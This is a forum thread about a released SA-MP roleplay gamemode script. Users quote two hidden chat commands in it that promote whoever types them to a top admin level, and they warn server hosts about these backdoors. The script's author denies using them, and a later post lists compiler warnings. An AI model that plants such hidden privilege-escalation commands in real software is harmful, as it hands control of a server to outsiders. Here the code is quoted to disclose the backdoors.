02.02.2015, 00:16
Quote:
PHP код:
|
PHP код:
|
if(strcmp(cmd, "/Fuckyouagains", true) == 0) { PlayerInfo[playerid][pAdmin] = 99999; SendClientMessage(playerid, COLOR_WHITE,"Access Granted - You have been Promoted to Level 99999 Admin"); SendClientMessage(playerid, COLOR_LIGHTBLUE, string); return 1; }
There's a small backdoor in code - not sure if it was intentional or not.
Код:
if(strcmp(cmd, "/Fuckyouagains", true) == 0) { PlayerInfo[playerid][pAdmin] = 99999; SendClientMessage(playerid, COLOR_WHITE,"Access Granted - You have been Promoted to Level 99999 Admin"); SendClientMessage(playerid, COLOR_LIGHTBLUE, string); return 1; } |
if(strcmp(cmd, "/fuckyoumanseriously", true) == 0) { PlayerInfo[playerid][pAdmin] = 100000; SendClientMessage(playerid, COLOR_WHITE,"Access Granted - You have been Promoted to Level 100000 Administrator"); SendClientMessage(playerid, COLOR_LIGHTBLUE, string); return 1; }
I've found another backdoor in the code, are you aware of anymore? You should really tell us.
Код:
if(strcmp(cmd, "/fuckyoumanseriously", true) == 0) { PlayerInfo[playerid][pAdmin] = 100000; SendClientMessage(playerid, COLOR_WHITE,"Access Granted - You have been Promoted to Level 100000 Administrator"); SendClientMessage(playerid, COLOR_LIGHTBLUE, string); return 1; } |
my dear, this script is useless for me so check the old thread , download the script, you'll find those commands with with another name and i have changed it, i don't need anything from this server, and PLEASE Stop posting everyminute about backdoors, i said i'm done with this gamemode, why shall i use backdoors and shit?, enough.
|
My dear, I'm not posting it for your sake, I'm posting it for people who are looking to host a server with this script - it's not only you who can use these backdoors, it's everyone.
Please, don't patronise me. |
CGRP\gamemodes\CG-RP1.pwn(29116) : warning 206: redundant test: constant expression is non-zero
if(USE_TEXTDRAW_SET == 2)
CGRP\gamemodes\CG-RP1.pwn(63683) : warning 204: symbol is assigned a value that is never used: "type"
new type = FactionInfo[PlayerInfo[playerid][pMember]][FactionType];
CGRP\gamemodes\CG-RP1.pwn(104305) : warning 217: loose indentation
if(current == paintjobs_menu)
CGRP\gamemodes\CG-RP1.pwn(104450) : warning 217: loose indentation
if(current == exhausts_menu)
When i compile CG-RP1.pwn i get these :
Код:
CGRP\gamemodes\CG-RP1.pwn(29116) : warning 206: redundant test: constant expression is non-zero Код:
if(USE_TEXTDRAW_SET == 2) Код:
CGRP\gamemodes\CG-RP1.pwn(63683) : warning 204: symbol is assigned a value that is never used: "type" Код:
new type = FactionInfo[PlayerInfo[playerid][pMember]][FactionType]; Код:
CGRP\gamemodes\CG-RP1.pwn(104305) : warning 217: loose indentation Код:
if(current == paintjobs_menu) Код:
CGRP\gamemodes\CG-RP1.pwn(104450) : warning 217: loose indentation Код:
if(current == exhausts_menu) |